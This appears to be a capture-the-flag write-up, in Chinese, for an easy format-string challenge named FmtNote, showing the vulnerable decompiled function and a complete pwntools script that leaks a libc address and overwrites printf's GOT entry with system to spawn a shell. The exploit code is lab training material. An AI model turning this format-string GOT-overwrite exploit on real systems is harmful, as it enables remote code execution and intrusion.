FmtNote

已完成 PWN Easy 20 分

题目描述:简单fmt签个到吧

unsigned __int64 vuln()
{
  char s[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    printf(">>> ");
    memset(s, 0, 0x60u);
    if ( read(0, s, 0x5Fu) <= 0 )
      break;
    printf(s);
  }
  return v2 - __readfsqword(0x28u);
}

格式化字符串漏洞,先用 %23$s 泄露 libc 地址,再把 printf@got 改成 system,再发 /bin/sh,即可 get shell

from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "info"

HOST = "e6e3aba0.tcp-ctf2.dasctf.com"
PORT = 9999

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

io = process('./pwn')
# io = remote(HOST,PORT)

io.recvuntil(b">>> ")
io.sendline(b"%23$p")

# 0x7ffff7c29d90 - 0x7ffff7c00000

io.recvuntil(b"0x")
leak = int(io.recvn(12),16)
log.success("leak = " + hex(leak))

libc_base = leak - 0x29d90
log.success("libc_base = " + hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

printf_got = elf.got["printf"]

# payload = fmtstr_payload(8, {printf_got: system})
# print(len(payload))

low = system & 0xffff
high = (system >> 16) & 0xffff

addr1 = elf.got['printf']
addr2 = elf.got['printf'] + 2

if low <= high:
    first_val, first_idx, first_addr = low, 10, addr1
    second_val, second_idx, second_addr = high, 11, addr2
else:
    first_val, first_idx, first_addr = high, 10, addr2
    second_val, second_idx, second_addr = low, 11, addr1

payload = f'%{first_val}c%{first_idx}$hn'.encode()
payload += f'%{(second_val - first_val) & 0xffff}c%{second_idx}$hn'.encode()
payload = payload.ljust(0x20, b'a')
payload += p64(first_addr) + p64(second_addr)

io.recvuntil(b">>> ")
io.send(payload)
io.sendline(b"/bin/sh\x00")

io.interactive()